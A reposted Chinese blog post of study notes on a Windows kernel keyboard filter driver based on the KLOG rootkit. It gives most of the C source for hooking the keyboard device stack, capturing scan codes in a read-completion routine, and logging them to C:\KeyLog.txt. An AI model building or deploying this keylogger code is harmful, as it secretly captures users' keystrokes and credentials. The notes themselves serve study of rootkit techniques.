轉http://blog.sina.com.cn/s/blog_5371d2790100e4rc.html
鍵盤過濾驅動核心思想總結
可以參考另外一篇文章《Designing A Kernel Key Logger》,這兩篇文章都是關於鍵盤記錄的,相互補充,相得益彰.....
該鍵盤過濾驅動程序是《ROOTKIT---window內核的安全防護》一書中的例子。原型就是KLOG rootkit,寫這個文檔的主要目的是記錄自己在調試、學習過程中的一些認識、心得、體會。全當讀書筆記
該驅動的工作原理是:在系統鍵盤設備上掛接一個我們自己創建的設備對象,這樣當擊鍵行爲發生時,擊鍵請求首先被我們的過濾驅動設備所捕獲,從而實現擊鍵行爲的記錄。
要捕獲的IRP請求是:IRP_MJ_READ請求,對於其他的IRP請求,直接將其傳遞給下層設備對象處理。
注意:這個驅動程序沒有設置控制設備對象(即用戶應用程序和驅動程序交互的設備對象)
下面根據函數的執行流程來做個粗略分析
一、DriverEntry函數
該函數主要做一些初始化工作,比如設置分發例程、初始化全局變量、創建用於記錄擊鍵行爲的線程、attach過濾驅動、打開日誌記錄文件。
(1)設置分發例程
for (i = 0;i < IRP_MJ_MAXIMUM_FUNCTION; i ++)
pDriverObject->MajorFunction[i] = DispatchPassDown;
pDriverObject->MajorFunction[IRP_MJ_READ] = DispatchRead;
pDriverObject->DriverUnload = DriverUnload;
(2)將過濾驅動程序attach到系統的鍵盤設備上。
HookKeyBoard(pDriverObject);
(3)創建線程,用於記錄擊鍵行爲。------因爲在驅動程序IRP處理函數中不能執行文件操作,所以我們必須要創建一個線程來執行寫日誌操作。
InitThreadKeyLogger(pDriverObject);
(4)初始化全局變量
//QueueListHead是一個ListEntry結構的共享鏈表,其中記錄了所有的擊鍵動作。
InitializeListHead(&pKeyboardDeviceExtension->QueueListHead);
KeInitializeSpinLock(&pKeyboardDeviceExtension->lockQueue);
//initialize the work queue semaphore
KeInitializeSemaphore(&pKeyboardDeviceExtension->semQueue,0,MAXLONG);
(5)打開文件C:KeyLog.txt以記錄擊鍵動作。
RtlInitUnicodeString(&unifileName,L"\??\C:\KeyLog.txt");
InitializeObjectAttributes(
&objectAttributes,
&unifileName,
OBJ_CASE_INSENSITIVE,
NULL,
NULL);
ntStatus = ZwCreateFile(
&pKeyboardDeviceExtension->hLogFile,
GENERIC_WRITE,
&objectAttributes,
&file_status,
NULL,
FILE_ATTRIBUTE_NORMAL,
0,
FILE_OPEN_IF,
FILE_SYNCHRONOUS_IO_NONALERT,
NULL,
0);
if (!NT_SUCCESS(ntStatus))
{
DbgPrint("Failed to create log filen");
DbgPrint("File status = %xn",file_status);
}else{
DbgPrint("successfully created log filen");
DbgPrint("file handle = %x n",pKeyboardDeviceExtension->hLogFile);
}
二、分發例程
在這個驅動程序中我們只關心兩個分發例程DispatahPassDow和DispatchRead
(1)DispatchPassDown
這個分發例程中,我們不兌RIRP請求做任何處理,只是簡單的傳遞給下層的設備對象。
NTSTATUS
DispatchPassDown(
IN PDEVICE_OBJECT deviceObject,
IN PIRP pIrp)
{
DbgPrint("Entering DispatchPassDown Routinen");
IoSkipCurrentIrpStackLocation(pIrp);
return IoCallDriver(((PDEVICE_EXTENSION)deviceObject->DeviceExtension)->pKeyboardDevice,pIrp);
}
(2)DispatchRead
當一個READ請求到達鍵盤控制器時,就調用該函數。這時IRP中並沒有可用的數據,相反,我們希望在捕獲了擊鍵動作之後察看IRP-----當IRP正在沿着設備鏈向上傳輸時,所以我們應該設置一個完成例程來操作正在返回的IRP請求。所以DispatchRead例程的主要工作是設置完成例程。
//設置完成例程
IoSetCompletionRoutine(
pIrp,
OnReadCompletion,
deviceObject,
TRUE,
TRUE,
TRUE);
numpendingIrps ++;
//將IRP請求傳遞給下層的設備
return IoCallDriver(((PDEVICE_EXTENSION)deviceObject->DeviceExtension)->pKeyboardDevice,pIrp);
這樣,每個IRP_MJ_READ請求在返回的時候都會在OnReadCompletion得到進一步的處理。下面看一下OnReadCompletion函數怎麼處理返回的IRP請求。
//檢查IRP的狀態,如果是STATUS_SUCCESS則說明IRP已經完成並且應該已經記錄了擊鍵數據。
if (pIrp->IoStatus.Status == STATUS_SUCCESS)
{
keys = (PKEYBOARD_INPUT_DATA)pIrp->AssociatedIrp.SystemBuffer;
numkeys = pIrp->IoStatus.Information /sizeof(KEYBOARD_INPUT_DATA);
//遍歷所有的數組成員,從每個成員中獲取擊鍵動作
for(i = 0; i < numkeys; i ++)
{
DbgPrint("ScanCode:%xn",keys[i].MakeCode);
if (keys[i].Flags == KEY_BREAK)
DbgPrint("%sn","Key Up");
if (keys[i].Flags == KEY_MAKE)
DbgPrint("%sn","Key Down");
//分配一些NonPagedPool內存,並將掃描碼放入其中,然後將其置入全局鏈表中。
kData = (KEY_DATA *)ExAllocatePool(NonPagedPool,sizeof(KEY_DATA));
//fill in the kData structure with info from IRP
kData->KeyData = (char)keys[i].MakeCode;
kData->KeyFlags = (char)keys[i].Flags;
//add the scan code to the linked list queue so our worker thread
//can write it out to a file
DbgPrint("Add IRP to work queuen");
ExInterlockedInsertTailList(
&pkeyboardDeviceExtension->QueueListHead,
&kData->ListEntry,
&pkeyboardDeviceExtension->lockQueue);
//Increment the semaphore by 1
KeReleaseSemaphore(
&pkeyboardDeviceExtension->semQueue,
0,
1,
FALSE);
}
}
//mark the IRP pending if necessary
if (pIrp->PendingReturned)
IoMarkIrpPending(pIrp);
//remove the Irp from out own count of tagged IRPs
numpendingIrps --;
return pIrp->IoStatus.Status;
}
此時鏈表中已經保存了一個擊鍵動作,這樣寫日誌線程就可以工作了。我們在後面討論寫日誌線程的工作。
三、將過濾驅動attach到系統鍵盤設備上------ HookKeyBoard
(1)創建過濾設備+設置設備標記
注意,過濾設備對象一般都沒有名字,這裏要創建的設備對象也沒有名字,類型爲FILE_DEVICE_KEYBOARD。
ntStatus = IoCreateDevice(
pDriverObject,
sizeof(DEVICE_EXTENSION),
NULL,
FILE_DEVICE_KEYBOARD,
0,
TRUE,
&pkeyboardDeviceObject);
if (!NT_SUCCESS(ntStatus))
return ntStatus;
//新設備的標記應該設置爲與底層鍵盤設備的標記相同
pkeyboardDeviceObject->Flags = pkeyboardDeviceObject->Flags |(DO_BUFFERED_IO | DO_POWER_PAGABLE);
pkeyboardDeviceObject->Flags = pkeyboardDeviceObject->Flags & ~DO_DEVICE_INITIALIZING;
DbgPrint("Flags set successfullyn");
//initialize the device extension
RtlZeroMemory(pkeyboardDeviceObject->DeviceExtension,sizeof(DEVICE_EXTENSION));
pkeyboardDeviceExtension = (PDEVICE_EXTENSION)pkeyboardDeviceObject->DeviceExtension;
(2)將過濾驅動attach到底層鍵盤設備上
RtlInitAnsiString(&ntNameString,ntNameBuffer);
RtlAnsiStringToUnicodeString(&ukeyboardDeviceName,&ntNameString,TRUE);
IoAttachDevice(pkeyboardDeviceObject,
&ukeyboardDeviceName,
&pkeyboardDeviceExtension->pKeyboardDevice);
RtlFreeUnicodeString(&ukeyboardDeviceName);
至此,過濾驅動的掛載就完成了,下面就可以過濾所有的鍵盤操作了。接下來是創建一個用於寫日誌的線程。
四、創建線程,執行寫日誌操作
主要工作:調用PsCreateSystemThread創建線程、根據線程句柄獲得線程對象,然後將該對象保存在DEVICE_EXTENSION對象中。
NTSTATUS
InitThreadKeyLogger(
IN PDRIVER_OBJECT pDriverObject)
{
HANDLE hThread;
NTSTATUS ntStatus =STATUS_SUCCESS;
PDEVICE_EXTENSION pkeyboardDeviceExtension = (PDEVICE_EXTENSION)pDriverObject->DeviceObject->DeviceExtension;
//set the worker thread to running state in device extension
pkeyboardDeviceExtension->bThreadTerminate = FALSE;
//create thread
ntStatus = PsCreateSystemThread(
&hThread,
(ACCESS_MASK)0,
NULL,
(HANDLE)0,
NULL,
ThreadKeyLogger,
pkeyboardDeviceExtension);
if (!NT_SUCCESS(ntStatus))
return ntStatus;
//obtain a pointer to the thread object and store it in DEVICE_EXTENSION
ObReferenceObjectByHandle(
hThread,
THREAD_ALL_ACCESS,
NULL,
KernelMode,
(PVOID *)&pkeyboardDeviceExtension->pThreadObj,
NULL);
ZwClose(hThread);
return ntStatus;
}
下面看ThreadKeyLogger函數的執行過程。
(1)函數進入一個循環,代碼通過KeWaitForSingleObject等待信號量。若信號量遞增,則處理循環繼續運行。
(2)通過工具函數ConvertScanCodeToKeyCode將獲取的掃描碼轉換成鍵盤碼。
(3)然後執行寫日誌操作。
五、卸載例程
VOID
DriverUnload(
IN PDRIVER_OBJECT pdriverObject)
{
KTIMER kTimer;
LARGE_INTEGER timeout;
PDEVICE_EXTENSION pkeyboardDeviceExtension = (PDEVICE_EXTENSION)pdriverObject->DeviceObject->DeviceExtension;
DbgPrint("Entering DriverUnloadn");
//取下分層設備的過濾驅動對象
IoDetachDevice(pkeyboardDeviceExtension->pKeyboardDevice);
//進入一個循環,直到所有的IRP都處理完
timeout.QuadPart = 1000000;//1s
KeInitializeTimer(&kTimer);
while(numpendingIrps > 0)
{
//set the timer
KeSetTimer(&kTimer,timeout,NULL);
KeWaitForSingleObject(&kTimer,Executive,KernelMode,FALSE,NULL);
}
//set the key logger worker thread to terminate
pkeyboardDeviceExtension->bThreadTerminate = TRUE;
//wake up the thread if it's blocked &waitfor*** after this call
KeReleaseSemaphore(&pkeyboardDeviceExtension->semQueue,0,1,TRUE);
//wait till the worker thread terminates
DbgPrint("Waiting for key logger thread to terminaten");
KeWaitForSingleObject(pkeyboardDeviceExtension->pThreadObj,
Executive,
KernelMode,
FALSE,
NULL);
//close the log file
ZwClose(pkeyboardDeviceExtension->hLogFile);
//delete the device
IoDeleteDevice(pdriverObject->DeviceObject);
DbgPrint("Tagged IRPs dead terminating.....n");
return;
}